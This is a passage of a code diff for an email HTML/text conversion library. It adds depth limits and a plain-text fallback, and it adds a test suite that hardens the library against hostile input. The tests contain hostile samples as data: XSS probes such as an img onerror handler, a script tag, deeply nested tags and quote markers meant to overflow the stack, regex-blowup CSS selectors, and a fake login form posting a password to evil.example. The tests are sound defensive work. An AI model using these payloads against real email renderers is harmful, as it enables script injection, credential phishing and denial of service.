walkDom(childNode);
|
|
359
|
-
}
|
|
360
|
-
}
|
|
361
|
-
};
|
|
362
|
-
walkDom(dom);
|
|
469
|
+
}
|
|
363
470
|
|
|
364
471
|
let bodyStyles = (dom.getAttribute('style') || '').toString().trim();
|
|
365
472
|
|
|
@@ -367,6 +474,65 @@ async function mimeHtmlAsync(message, options = {}) {
|
|
|
367
474
|
return `<div style="${he.encode(bodyStyles)}">${dom.innerHTML.trim()}</div>`;
|
|
368
475
|
}
|
|
369
476
|
|
|
477
|
+
// Runs the pipeline and renders the plain text fallback when it fails, for example when a
|
|
478
|
+
// hostile nesting depth overflows the stack of the parser or the serializer.
|
|
479
|
+
function guarded(fn, message, rethrow) {
|
|
480
|
+
const onError = err => {
|
|
481
|
+
if (rethrow) {
|
|
482
|
+
throw err;
|
|
483
|
+
}
|
|
484
|
+
return fallbackHtml(message);
|
|
485
|
+
};
|
|
486
|
+
try {
|
|
487
|
+
const result = fn();
|
|
488
|
+
return result && typeof result.then === 'function' ? result.catch(onError) : result;
|
|
489
|
+
} catch (err) {
|
|
490
|
+
return onError(err);
|
|
491
|
+
}
|
|
492
|
+
}
|
|
493
|
+
|
|
494
|
+
function mimeHtmlSync(message) {
|
|
495
|
+
return guarded(
|
|
496
|
+
() => {
|
|
497
|
+
let { html, hasStyle } = prepareHtml(message);
|
|
498
|
+
if (hasStyle) {
|
|
499
|
+
try {
|
|
500
|
+
// Run juice synchronously - risky but backwards compatible
|
|
501
|
+
html = juice(html);
|
|
502
|
+
} catch (_err) {
|
|
503
|
+
// not so important, so we'll ignore if style inlining fails
|
|
504
|
+
}
|
|
505
|
+
}
|
|
506
|
+
return finishHtml(html);
|
|
507
|
+
},
|
|
508
|
+
message,
|
|
509
|
+
false
|
|
510
|
+
);
|
|
511
|
+
}
|
|
512
|
+
|
|
513
|
+
async function mimeHtmlAsync(message, options = {}) {
|
|
514
|
+
return guarded(
|
|
515
|
+
async () => {
|
|
516
|
+
let { html, hasStyle } = prepareHtml(message);
|
|
517
|
+
if (hasStyle) {
|
|
518
|
+
try {
|
|
519
|
+
// Use worker thread with timeout for juice - provides protection against ANY
|
|
520
|
+
// unexpected CSS that might cause hangs (beyond our known problematic selectors)
|
|
521
|
+
html = await juiceWithTimeout(html, options);
|
|
522
|
+
} catch (err) {
|
|
523
|
+
// If juice fails or times out, continue without inlining styles
|
|
524
|
+
if (options.fallbackOnError === false) {
|
|
525
|
+
throw err;
|
|
526
|
+
}
|
|
527
|
+
}
|
|
528
|
+
}
|
|
529
|
+
return finishHtml(html);
|
|
530
|
+
},
|
|
531
|
+
message,
|
|
532
|
+
options.fallbackOnError === false
|
|
533
|
+
);
|
|
534
|
+
}
|
|
535
|
+
|
|
370
536
|
// Main export - maintains backward compatibility with sync API
|
|
371
537
|
// Architecture:
|
|
372
538
|
// - Both sync and async versions pre-filter known problematic CSS selectors
|
|
@@ -382,14 +548,8 @@ function mimeHtml(message) {
|
|
|
382
548
|
mimeHtml.async = mimeHtmlAsync;
|
|
383
549
|
mimeHtml.sync = mimeHtmlSync;
|
|
384
550
|
|
|
385
|
-
//
|
|
386
|
-
|
|
387
|
-
process.on('exit', () => {
|
|
388
|
-
if (globalWorkerPool) {
|
|
389
|
-
globalWorkerPool.close().catch(() => {});
|
|
390
|
-
}
|
|
391
|
-
});
|
|
392
|
-
}
|
|
551
|
+
// Exposed for tests only, not part of the public API
|
|
552
|
+
mimeHtml._internal = { filterCss, hasNotWithPseudo };
|
|
393
553
|
|
|
394
554
|
// Export function to manually close worker pool
|
|
395
555
|
mimeHtml.closeWorkerPool = async () => {
|
package/lib/text-to-html.js
CHANGED
|
@@ -10,6 +10,11 @@ const linkify = linkifyIt()
|
|
|
10
10
|
.add('git:', 'http:') // Add `git:` protocol as "alias"
|
|
11
11
|
.set({ fuzzyIP: true });
|
|
12
12
|
|
|
13
|
+
// Quote levels deeper than this are kept as literal "> " text. Every level costs a few stack
|
|
14
|
+
// frames here and a nested <blockquote> later, so hostile input with thousands of leading ">"
|
|
15
|
+
// used to overflow the stack.
|
|
16
|
+
const MAX_QUOTE_DEPTH = 100;
|
|
17
|
+
|
|
13
18
|
function generateQuotedTree(text) {
|
|
14
19
|
let lines = text.split(/\r?\n/);
|
|
15
20
|
|
|
@@ -29,9 +34,9 @@ function generateQuotedTree(text) {
|
|
|
29
34
|
return node;
|
|
30
35
|
};
|
|
31
36
|
|
|
32
|
-
let walkNode = (curNode, lines) => {
|
|
37
|
+
let walkNode = (curNode, lines, depth) => {
|
|
33
38
|
for (let line of lines) {
|
|
34
|
-
if (/^>/.test(line)) {
|
|
39
|
+
if (depth < MAX_QUOTE_DEPTH && /^>/.test(line)) {
|
|
35
40
|
if (curNode.type !== 'quote') {
|
|
36
41
|
curNode = createNode(curNode.parent, 'quote');
|
|
37
42
|
}
|
|
@@ -42,7 +47,7 @@ function generateQuotedTree(text) {
|
|
|
42
47
|
let quoteNode = curNode;
|
|
43
48
|
|
|
44
49
|
let childNode = createNode(curNode, 'text');
|
|
45
|
-
walkNode(childNode, quoteNode.lines);
|
|
50
|
+
walkNode(childNode, quoteNode.lines, depth + 1);
|
|
46
51
|
|
|
47
52
|
curNode = createNode(curNode.parent, 'text');
|
|
48
53
|
curNode.lines.push(line);
|
|
@@ -57,12 +62,12 @@ function generateQuotedTree(text) {
|
|
|
57
62
|
let quoteNode = curNode;
|
|
58
63
|
|
|
59
64
|
let childNode = createNode(curNode, 'text');
|
|
60
|
-
walkNode(childNode, quoteNode.lines);
|
|
65
|
+
walkNode(childNode, quoteNode.lines, depth + 1);
|
|
61
66
|
}
|
|
62
67
|
};
|
|
63
68
|
|
|
64
69
|
let rootNode = createNode(tree, 'text');
|
|
65
|
-
walkNode(rootNode, lines);
|
|
70
|
+
walkNode(rootNode, lines, 0);
|
|
66
71
|
|
|
67
72
|
return tree;
|
|
68
73
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@postalsys/email-text-tools",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.18",
|
|
4
4
|
"description": "Email text tools",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
@@ -29,18 +29,17 @@
|
|
|
29
29
|
"homepage": "https://github.com/postalsys/email-text-tools#readme",
|
|
30
30
|
"devDependencies": {
|
|
31
31
|
"@eslint/js": "10.0.1",
|
|
32
|
-
"eslint": "10.
|
|
32
|
+
"eslint": "10.11.0",
|
|
33
33
|
"eslint-config-prettier": "10.1.8",
|
|
34
|
-
"prettier": "3.9.
|
|
34
|
+
"prettier": "3.9.9"
|
|
35
35
|
},
|
|
36
36
|
"dependencies": {
|
|
37
|
-
"dompurify": "3.4.
|
|
37
|
+
"dompurify": "3.4.16",
|
|
38
38
|
"he": "1.2.0",
|
|
39
39
|
"html-to-text": "10.0.1",
|
|
40
40
|
"jsdom": "27.0.0",
|
|
41
41
|
"juice": "11.1.1",
|
|
42
42
|
"linkify-it": "5.0.2",
|
|
43
|
-
"moment-timezone": "0.6.3",
|
|
44
43
|
"node-html-parser": "9.0.4",
|
|
45
44
|
"tlds": "1.261.0"
|
|
46
45
|
}
|
|
@@ -277,7 +277,8 @@ describe('Comprehensive Test Suite', () => {
|
|
|
277
277
|
describe('worker pool configuration', () => {
|
|
278
278
|
it('should respect min/max worker settings', async () => {
|
|
279
279
|
const input = {
|
|
280
|
-
|
|
280
|
+
// juice, and with it the pool, only runs when there is a style sheet to inline
|
|
281
|
+
html: '<style>p { color: red; }</style><p>Pool config test</p>'
|
|
281
282
|
};
|
|
282
283
|
|
|
283
284
|
// First close any existing pool
|
|
@@ -328,7 +329,8 @@ describe('Comprehensive Test Suite', () => {
|
|
|
328
329
|
describe('memory leak prevention', () => {
|
|
329
330
|
it('should clean up workers after timeout', async () => {
|
|
330
331
|
const input = {
|
|
331
|
-
|
|
332
|
+
// a style sheet, so the juice worker actually runs and times out
|
|
333
|
+
html: '<style>p { color: red; }</style><p>Timeout test</p>'
|
|
332
334
|
};
|
|
333
335
|
|
|
334
336
|
try {
|
|
@@ -0,0 +1,364 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { describe, it, after } = require('node:test');
|
|
4
|
+
const assert = require('node:assert/strict');
|
|
5
|
+
const { execFileSync } = require('node:child_process');
|
|
6
|
+
const path = require('node:path');
|
|
7
|
+
|
|
8
|
+
const mimeHtml = require('../lib/mime-html');
|
|
9
|
+
const textToHtml = require('../lib/text-to-html');
|
|
10
|
+
const htmlToText = require('../lib/html-to-text');
|
|
11
|
+
const inlineHtml = require('../lib/inline-html');
|
|
12
|
+
const inlineText = require('../lib/inline-text');
|
|
13
|
+
const formatDate = require('../lib/format-date');
|
|
14
|
+
|
|
15
|
+
function timed(fn) {
|
|
16
|
+
const start = process.hrtime.bigint();
|
|
17
|
+
const result = fn();
|
|
18
|
+
return { result, ms: Number(process.hrtime.bigint() - start) / 1e6 };
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
function headStyle(css) {
|
|
22
|
+
return `<html><head><style>${css}</style></head><body><p class="x">content</p></body></html>`;
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
describe('hostile input hardening', () => {
|
|
26
|
+
after(async () => {
|
|
27
|
+
await mimeHtml.closeWorkerPool();
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
describe('CSS selector pre-filter', () => {
|
|
31
|
+
const { filterCss, hasNotWithPseudo } = mimeHtml._internal;
|
|
32
|
+
|
|
33
|
+
// The regex pre-filter this replaces took 26 s on 900 bytes of ":not(a:b)" and never
|
|
34
|
+
// finished on 1.8 KB. Timed directly on large inputs, so the bound is about the filter and
|
|
35
|
+
// not about jsdom or juice.
|
|
36
|
+
function assertLinear(fn, unit) {
|
|
37
|
+
const small = unit.repeat(Math.ceil((256 * 1024) / unit.length));
|
|
38
|
+
const large = small + small;
|
|
39
|
+
fn(small); // warm up
|
|
40
|
+
const a = timed(() => fn(small));
|
|
41
|
+
const b = timed(() => fn(large));
|
|
42
|
+
// doubling the input must not blow up the time (loose bound, the old regex was cubic)
|
|
43
|
+
assert.ok(b.ms < Math.max(a.ms * 6, 200), `${fn.name}: 256 KB ${a.ms} ms vs 512 KB ${b.ms} ms`);
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
// Units that never match, so the whole input is scanned
|
|
47
|
+
for (const unit of [':not(.a)', ':not(((.a)))', ':nox(a:b)', '(((:', ')))']) {
|
|
48
|
+
it(`hasNotWithPseudo stays linear on repeated ${JSON.stringify(unit)}`, () => {
|
|
49
|
+
assert.equal(hasNotWithPseudo(unit), false);
|
|
50
|
+
assertLinear(hasNotWithPseudo, unit);
|
|
51
|
+
});
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
for (const unit of ['p:not(.a) { color: red }', 'p:not(a:b){color:red}', 'p:is(.a){}', '{{:not(.a)}', ':not(.a){', '@media x { :where(p) { a: b } }']) {
|
|
55
|
+
it(`filterCss stays linear on repeated ${JSON.stringify(unit)}`, () => {
|
|
56
|
+
assertLinear(filterCss, unit);
|
|
57
|
+
});
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
it('hasNotWithPseudo matches a pseudo-class only inside :not()', () => {
|
|
61
|
+
assert.equal(hasNotWithPseudo('p:not(a:hover)'), true);
|
|
62
|
+
assert.equal(hasNotWithPseudo('P:NOT(A:HOVER)'), true);
|
|
63
|
+
assert.equal(hasNotWithPseudo('p:not(:not(.a))'), true);
|
|
64
|
+
assert.equal(hasNotWithPseudo('p:not(.y):hover'), false);
|
|
65
|
+
assert.equal(hasNotWithPseudo('p:not(.y(z)):hover'), false);
|
|
66
|
+
assert.equal(hasNotWithPseudo('a:hover'), false);
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
it('filterCss returns style text without risky pseudo-classes unchanged', () => {
|
|
70
|
+
const css = '@media screen { p { color: red } } a:hover { color: blue } p:not(.y) {}';
|
|
71
|
+
assert.equal(filterCss(css), css);
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
it('mimeHtml stays fast on a hostile selector list', () => {
|
|
75
|
+
const { result, ms } = timed(() => mimeHtml({ html: headStyle(':not(a:b)'.repeat(512)) }));
|
|
76
|
+
assert.ok(result.includes('content'));
|
|
77
|
+
assert.ok(ms < 2500, `took ${ms} ms`);
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
it('drops only the rules with problematic selectors', () => {
|
|
81
|
+
const css = [
|
|
82
|
+
'p { color: red; }',
|
|
83
|
+
'p:is(.x) { font-weight: bold; }',
|
|
84
|
+
'p:where(.x) { margin: 1px; }',
|
|
85
|
+
'p:has(b) { padding: 2px; }',
|
|
86
|
+
'P:NOT(A:HOVER) { text-align: center; }',
|
|
87
|
+
'p:not(.y):hover { text-decoration: underline; }',
|
|
88
|
+
'p:not(.y) { font-style: italic; }',
|
|
89
|
+
'@media screen { p:is(.x) { border: 1px solid; } }'
|
|
90
|
+
].join('\n');
|
|
91
|
+
const result = mimeHtml({ html: headStyle(css) });
|
|
92
|
+
assert.match(result, /color: red/);
|
|
93
|
+
assert.match(result, /font-style: italic/);
|
|
94
|
+
assert.doesNotMatch(result, /font-weight/);
|
|
95
|
+
assert.doesNotMatch(result, /margin/);
|
|
96
|
+
assert.doesNotMatch(result, /padding/);
|
|
97
|
+
assert.doesNotMatch(result, /text-align/);
|
|
98
|
+
assert.doesNotMatch(result, /border/);
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
it('keeps rules nested in at-rules that use safe selectors', () => {
|
|
102
|
+
const html = headStyle('@media screen { p:is(.a) { color: red; } } p { color: blue; }');
|
|
103
|
+
const result = mimeHtml({ html });
|
|
104
|
+
assert.match(result, /color: blue/);
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
it('caps the amount of style text processed', () => {
|
|
108
|
+
const filler = '.unused { color: red; }\n'.repeat(Math.ceil((300 * 1024) / 24));
|
|
109
|
+
const html = headStyle(filler + 'p.x { color: blue; }');
|
|
110
|
+
const result = mimeHtml({ html });
|
|
111
|
+
assert.ok(result.includes('content'));
|
|
112
|
+
assert.doesNotMatch(result, /color: blue/);
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
it('cuts the style text at a rule boundary, so a truncated rule is not inlined unfiltered', () => {
|
|
116
|
+
// the cap falls inside the last rule, after its declarations but before its closing brace
|
|
117
|
+
const rule = 'p:is(.x) { color: green; }';
|
|
118
|
+
const prefixLength = 256 * 1024 - rule.length + 1;
|
|
119
|
+
const filler = '.unused { color: red; }\n'.repeat(Math.floor(prefixLength / 24));
|
|
120
|
+
const html = headStyle(filler + ' '.repeat(prefixLength - filler.length) + rule);
|
|
121
|
+
const result = mimeHtml({ html });
|
|
122
|
+
assert.ok(result.includes('content'));
|
|
123
|
+
assert.doesNotMatch(result, /color: green/);
|
|
124
|
+
});
|
|
125
|
+
});
|
|
126
|
+
|
|
127
|
+
describe('deep nesting', () => {
|
|
128
|
+
it('textToHtml does not overflow the stack on 5000 quote levels', () => {
|
|
129
|
+
const result = textToHtml('>'.repeat(5000) + ' deep\nafter');
|
|
130
|
+
assert.equal((result.match(/<blockquote /g) || []).length, 100);
|
|
131
|
+
assert.ok(result.includes('deep'));
|
|
132
|
+
assert.ok(result.includes('after'));
|
|
133
|
+
});
|
|
134
|
+
|
|
135
|
+
it('textToHtml keeps normal nested quotes', () => {
|
|
136
|
+
const result = textToHtml('>> two\n> one\nnone');
|
|
137
|
+
assert.ok(result.includes('ee-block-1'));
|
|
138
|
+
assert.ok(result.includes('ee-block-2'));
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
const FALLBACK_PREFIX = '<div style="overflow: auto;"><div style="white-space: pre-wrap;">';
|
|
142
|
+
|
|
143
|
+
it('mimeHtml falls back to escaped text on 4000 nested divs', () => {
|
|
144
|
+
const html = 'hello <img src=x onerror=alert(1)>' + '<div>'.repeat(4000) + 'deep' + '</div>'.repeat(4000);
|
|
145
|
+
const { result, ms } = timed(() => mimeHtml({ html }));
|
|
146
|
+
assert.ok(result.startsWith(FALLBACK_PREFIX));
|
|
147
|
+
assert.ok(result.includes('hello <img'));
|
|
148
|
+
assert.doesNotMatch(result, /<img/);
|
|
149
|
+
// the fallback strips tags itself, so text below any parser depth limit survives
|
|
150
|
+
assert.ok(result.includes('deep'));
|
|
151
|
+
assert.ok(ms < 10000, `took ${ms} ms`);
|
|
152
|
+
});
|
|
153
|
+
|
|
154
|
+
it('mimeHtml does not spend seconds on 50000 unclosed <b> tags', () => {
|
|
155
|
+
const { result, ms } = timed(() => mimeHtml({ html: 'shallow' + '<b>'.repeat(50000) + 'bold' }));
|
|
156
|
+
assert.ok(result.startsWith(FALLBACK_PREFIX));
|
|
157
|
+
assert.ok(result.includes('shallow'));
|
|
158
|
+
assert.ok(result.includes('bold'));
|
|
159
|
+
assert.ok(ms < 15000, `took ${ms} ms`);
|
|
160
|
+
});
|
|
161
|
+
|
|
162
|
+
for (const [label, html] of [
|
|
163
|
+
['self-closing HTML tags', '<div/>'.repeat(20000) + 'deep'],
|
|
164
|
+
['cells nested in SVG', '<svg>' + '<td>'.repeat(20000) + 'deep'],
|
|
165
|
+
['an abruptly closed comment', '<!-->' + '<b>'.repeat(20000) + 'deep-->'],
|
|
166
|
+
['style inside SVG', '<svg><style>' + '<b>'.repeat(20000) + 'deep']
|
|
167
|
+
]) {
|
|
168
|
+
it(`mimeHtml depth check is not bypassed by ${label}`, () => {
|
|
169
|
+
const { result, ms } = timed(() => mimeHtml({ html }));
|
|
170
|
+
assert.ok(result.startsWith(FALLBACK_PREFIX));
|
|
171
|
+
assert.ok(ms < 15000, `took ${ms} ms`);
|
|
172
|
+
});
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
it('mimeHtml keeps long flat content with implicitly closed tags', () => {
|
|
176
|
+
const html = '<p>para'.repeat(3000) + '<ul>' + '<li>item'.repeat(3000) + '</ul><table>' + '<tr><td>cell'.repeat(3000) + '</table>';
|
|
177
|
+
const result = mimeHtml({ html });
|
|
178
|
+
assert.doesNotMatch(result, /white-space: pre-wrap/);
|
|
179
|
+
assert.ok(result.includes('<li>item</li>'));
|
|
180
|
+
});
|
|
181
|
+
|
|
182
|
+
it('mimeHtml prefers the text part for the fallback', () => {
|
|
183
|
+
const result = mimeHtml({ html: '<div>'.repeat(4000) + 'html part', text: 'text <part>' });
|
|
184
|
+
assert.ok(result.includes('text <part>'));
|
|
185
|
+
});
|
|
186
|
+
|
|
187
|
+
it('mimeHtml still renders moderately nested HTML normally', () => {
|
|
188
|
+
const result = mimeHtml({ html: '<div>'.repeat(200) + 'normal' + '</div>'.repeat(200) });
|
|
189
|
+
assert.ok(result.includes('<div><div>'));
|
|
190
|
+
assert.ok(result.includes('normal'));
|
|
191
|
+
});
|
|
192
|
+
|
|
193
|
+
it('mimeHtml handles text with 5000 quote levels', () => {
|
|
194
|
+
const result = mimeHtml({ text: '>'.repeat(5000) + ' deep' });
|
|
195
|
+
assert.ok(result.includes('deep'));
|
|
196
|
+
});
|
|
197
|
+
|
|
198
|
+
it('mimeHtml.async falls back instead of rejecting', async () => {
|
|
199
|
+
const result = await mimeHtml.async({ html: 'async shallow' + '<div>'.repeat(4000) + 'async deep' });
|
|
200
|
+
assert.ok(result.startsWith(FALLBACK_PREFIX));
|
|
201
|
+
assert.ok(result.includes('async shallow'));
|
|
202
|
+
assert.ok(result.includes('async deep'));
|
|
203
|
+
});
|
|
204
|
+
|
|
205
|
+
it('the fallback keeps the text of an over-deep body that has no plain part', async () => {
|
|
206
|
+
const html = '<style>.x{color:red}</style><script>alert(1)</script>' + '<div>'.repeat(4000) + 'only <html> deep' + '</div>'.repeat(4000);
|
|
207
|
+
const result = await mimeHtml.async({ html });
|
|
208
|
+
assert.ok(result.startsWith(FALLBACK_PREFIX));
|
|
209
|
+
assert.ok(result.includes('only <html> deep'));
|
|
210
|
+
assert.ok(!result.includes('<div>'));
|
|
211
|
+
assert.ok(!result.includes('color:red'));
|
|
212
|
+
assert.ok(!result.includes('alert(1)'));
|
|
213
|
+
});
|
|
214
|
+
|
|
215
|
+
it('the fallback drops an unterminated style block and tag instead of rendering them', async () => {
|
|
216
|
+
const result = await mimeHtml.async({ html: 'kept <style>.x{}' + '<div>'.repeat(4000) });
|
|
217
|
+
assert.ok(result.includes('kept'));
|
|
218
|
+
assert.ok(!result.includes('.x{}'));
|
|
219
|
+
const unterminated = await mimeHtml.async({ html: 'kept <div' + '<div>'.repeat(4000) });
|
|
220
|
+
assert.ok(unterminated.includes('kept'));
|
|
221
|
+
});
|
|
222
|
+
|
|
223
|
+
it('mimeHtml.async rejects on hostile nesting with fallbackOnError: false', async () => {
|
|
224
|
+
await assert.rejects(mimeHtml.async({ html: '<div>'.repeat(4000) + 'x' }, { fallbackOnError: false }), /nested too deep/);
|
|
225
|
+
});
|
|
226
|
+
|
|
227
|
+
it('mimeHtml.async skips the juice worker when there is no style sheet', async () => {
|
|
228
|
+
await mimeHtml.closeWorkerPool();
|
|
229
|
+
const result = await mimeHtml.async({ html: '<p style="color: red">no sheet</p>' });
|
|
230
|
+
assert.ok(result.includes('no sheet'));
|
|
231
|
+
assert.equal(mimeHtml.getWorkerPoolStats(), null);
|
|
232
|
+
});
|
|
233
|
+
|
|
234
|
+
it('htmlToText does not overflow the stack on deep nesting', () => {
|
|
235
|
+
for (const tag of ['div', 'b', 'blockquote']) {
|
|
236
|
+
const html = 'hello & <b>world</b>' + `<${tag}>`.repeat(20000) + 'deep' + `</${tag}>`.repeat(20000) + 'after';
|
|
237
|
+
const text = htmlToText(html);
|
|
238
|
+
assert.ok(text.startsWith('hello & world'), text);
|
|
239
|
+
assert.ok(text.includes('after'), text);
|
|
240
|
+
// content below the depth limit is dropped
|
|
241
|
+
assert.ok(!text.includes('deep'), text);
|
|
242
|
+
}
|
|
243
|
+
});
|
|
244
|
+
});
|
|
245
|
+
|
|
246
|
+
describe('sanitizer policy', () => {
|
|
247
|
+
it('removes forms and form controls but keeps their text', () => {
|
|
248
|
+
const html =
|
|
249
|
+
'<form action="https://evil.example/collect" method="post"><p>Please log in</p>' +
|
|
250
|
+
'<input type="password" name="p"><select><option>a</option></select>' +
|
|
251
|
+
'<textarea>typed</textarea><button formaction="https://evil.example/x">Send</button></form>';
|
|
252
|
+
const result = mimeHtml({ html });
|
|
253
|
+
assert.doesNotMatch(result, /<form|<input|<select|<textarea|<button/i);
|
|
254
|
+
assert.doesNotMatch(result, /evil\.example/);
|
|
255
|
+
assert.ok(result.includes('Please log in'));
|
|
256
|
+
assert.ok(result.includes('Send'));
|
|
257
|
+
});
|
|
258
|
+
|
|
259
|
+
it('removes forbidden style properties, including from styles juice inlined', () => {
|
|
260
|
+
const html =
|
|
261
|
+
'<html><head><style>p.x { float: left; color: red; }</style></head><body style="position: fixed">' +
|
|
262
|
+
'<div style="Position: absolute; top: 0">a</div><span style="small: 1; color: blue">b</span><p class="x">c</p></body></html>';
|
|
263
|
+
const result = mimeHtml({ html });
|
|
264
|
+
assert.doesNotMatch(result, /position|float/i);
|
|
265
|
+
assert.ok(result.includes('top: 0'));
|
|
266
|
+
assert.ok(result.includes('color: red'));
|
|
267
|
+
assert.ok(result.includes('color: blue'));
|
|
268
|
+
});
|
|
269
|
+
|
|
270
|
+
it('removes popover and form submission attributes', () => {
|
|
271
|
+
const html = '<div popover id="p">overlay</div><a href="https://example.com/" popovertarget="p" formaction="https://evil.example/">link</a>';
|
|
272
|
+
const result = mimeHtml({ html });
|
|
273
|
+
assert.doesNotMatch(result, /popover|formaction/i);
|
|
274
|
+
assert.ok(result.includes('overlay'));
|
|
275
|
+
assert.ok(result.includes('href="https://example.com/"'));
|
|
276
|
+
});
|
|
277
|
+
});
|
|
278
|
+
|
|
279
|
+
describe('reply/forward date header', () => {
|
|
280
|
+
const date = new Date('2024-06-15T14:30:00Z');
|
|
281
|
+
const hasLocale = locale => Intl.DateTimeFormat.supportedLocalesOf([locale]).length > 0;
|
|
282
|
+
|
|
283
|
+
it('formats in English by default', () => {
|
|
284
|
+
assert.equal(formatDate(date, { tz: 'UTC' }), 'Sat, Jun 15, 2024, 2:30 PM');
|
|
285
|
+
});
|
|
286
|
+
|
|
287
|
+
it('honors the time zone', () => {
|
|
288
|
+
assert.equal(formatDate(date, { tz: 'America/New_York' }), 'Sat, Jun 15, 2024, 10:30 AM');
|
|
289
|
+
assert.equal(formatDate(date, { tz: 'Asia/Tokyo' }), 'Sat, Jun 15, 2024, 11:30 PM');
|
|
290
|
+
});
|
|
291
|
+
|
|
292
|
+
it('honors the locale', t => {
|
|
293
|
+
if (!hasLocale('de') || !hasLocale('et') || !hasLocale('ja')) {
|
|
294
|
+
t.skip('Node built without full ICU data');
|
|
295
|
+
return;
|
|
296
|
+
}
|
|
297
|
+
assert.equal(formatDate(date, { locale: 'de', tz: 'Europe/Berlin' }), 'Sa., 15. Juni 2024, 16:30');
|
|
298
|
+
assert.equal(formatDate(date, { locale: 'et', tz: 'Europe/Tallinn' }), 'L, 15. juuni 2024, 17:30');
|
|
299
|
+
assert.ok(formatDate(date, { locale: 'ja', tz: 'Asia/Tokyo' }).includes('2024'));
|
|
300
|
+
assert.ok(formatDate(date, { locale: 'ja', tz: 'Asia/Tokyo' }).includes('23:30'));
|
|
301
|
+
});
|
|
302
|
+
|
|
303
|
+
it('falls back to English on an invalid or unknown locale', () => {
|
|
304
|
+
assert.equal(formatDate(date, { locale: 'not a locale!!', tz: 'UTC' }), 'Sat, Jun 15, 2024, 2:30 PM');
|
|
305
|
+
assert.equal(formatDate(date, { locale: 'xx', tz: 'UTC' }), 'Sat, Jun 15, 2024, 2:30 PM');
|
|
306
|
+
});
|
|
307
|
+
|
|
308
|
+
it('falls back to UTC on an unknown time zone', () => {
|
|
309
|
+
assert.equal(formatDate(date, { tz: 'Not/AZone' }), 'Sat, Jun 15, 2024, 2:30 PM');
|
|
310
|
+
});
|
|
311
|
+
|
|
312
|
+
it('accepts date strings and passes invalid dates through', () => {
|
|
313
|
+
assert.equal(formatDate('2024-06-15T14:30:00Z', { tz: 'UTC' }), 'Sat, Jun 15, 2024, 2:30 PM');
|
|
314
|
+
assert.equal(formatDate('Sat, 15 Jun 2024 14:30:00 +0000', { tz: 'UTC' }), 'Sat, Jun 15, 2024, 2:30 PM');
|
|
315
|
+
assert.equal(formatDate('garbage', {}), 'garbage');
|
|
316
|
+
});
|
|
317
|
+
|
|
318
|
+
it('is used by inlineHtml and inlineText', () => {
|
|
319
|
+
const data = { date, from: { address: 'a@example.com' }, subject: 'S', html: '<p>Body</p>', text: 'Body' };
|
|
320
|
+
assert.ok(inlineHtml('forward', '', data, { tz: 'UTC' }).includes('Sat, Jun 15, 2024, 2:30 PM'));
|
|
321
|
+
assert.ok(inlineText('forward', '', data, { tz: 'UTC' }).includes('Date: Sat, Jun 15, 2024, 2:30 PM'));
|
|
322
|
+
});
|
|
323
|
+
});
|
|
324
|
+
|
|
325
|
+
describe('lazy loading', () => {
|
|
326
|
+
it('requiring the package does not load jsdom until mimeHtml is used', () => {
|
|
327
|
+
// A fresh process, since this test process has already loaded jsdom
|
|
328
|
+
const script = [
|
|
329
|
+
"const tools = require('.');",
|
|
330
|
+
"const loaded = () => Object.keys(require.cache).some(k => k.includes('/node_modules/jsdom/'));",
|
|
331
|
+
'const before = loaded();',
|
|
332
|
+
"tools.htmlToText('<p>x</p>');",
|
|
333
|
+
'const afterText = loaded();',
|
|
334
|
+
"const out = tools.mimeHtml({ html: '<p>x</p>' });",
|
|
335
|
+
'console.log(JSON.stringify([before, afterText, loaded(), typeof tools.mimeHtml.async, out]));'
|
|
336
|
+
].join('\n');
|
|
337
|
+
const output = execFileSync(process.execPath, ['-e', script], { cwd: path.join(__dirname, '..') }).toString();
|
|
338
|
+
const [before, afterText, afterMime, asyncType, out] = JSON.parse(output);
|
|
339
|
+
assert.equal(before, false);
|
|
340
|
+
assert.equal(afterText, false);
|
|
341
|
+
assert.equal(afterMime, true);
|
|
342
|
+
assert.equal(asyncType, 'function');
|
|
343
|
+
assert.equal(out, '<div style="overflow: auto;"><p>x</p></div>');
|
|
344
|
+
});
|
|
345
|
+
|
|
346
|
+
it('keeps mimeHtml enumerable and destructurable', () => {
|
|
347
|
+
const tools = require('..');
|
|
348
|
+
assert.ok(Object.keys(tools).includes('mimeHtml'));
|
|
349
|
+
const { mimeHtml: fn } = tools;
|
|
350
|
+
assert.equal(fn, mimeHtml);
|
|
351
|
+
});
|
|
352
|
+
});
|
|
353
|
+
});
|
|
354
|
+
|
|
355
|
+
describe('forbidden style properties behind CSS escapes', () => {
|
|
356
|
+
it('strips a position property whose name uses CSS escapes', () => {
|
|
357
|
+
// a browser reads p\osition and \70 osition as position, jsdom's CSSOM does not
|
|
358
|
+
const html = '<div style="p\\osition: fixed; color: red; \\70 osition: absolute; float: left">x</div>';
|
|
359
|
+
const out = mimeHtml({ html });
|
|
360
|
+
assert.ok(!/position/i.test(out), out);
|
|
361
|
+
assert.ok(!/float/i.test(out), out);
|
|
362
|
+
assert.ok(/color:\s*red/i.test(out), out);
|
|
363
|
+
});
|
|
364
|
+
});
|
|
@@ -24,7 +24,8 @@ describe('mime-html additional coverage', () => {
|
|
|
24
24
|
// Use timeout: 1 to force pool timeout, triggering fallback to single worker
|
|
25
25
|
// Both may time out, but fallbackOnError defaults to true so processing continues
|
|
26
26
|
const result = await mimeHtml.async(
|
|
27
|
-
|
|
27
|
+
// a style sheet, so the juice worker actually runs
|
|
28
|
+
{ html: '<style>p { color: red; }</style><p>Fallback test</p>' },
|
|
28
29
|
{
|
|
29
30
|
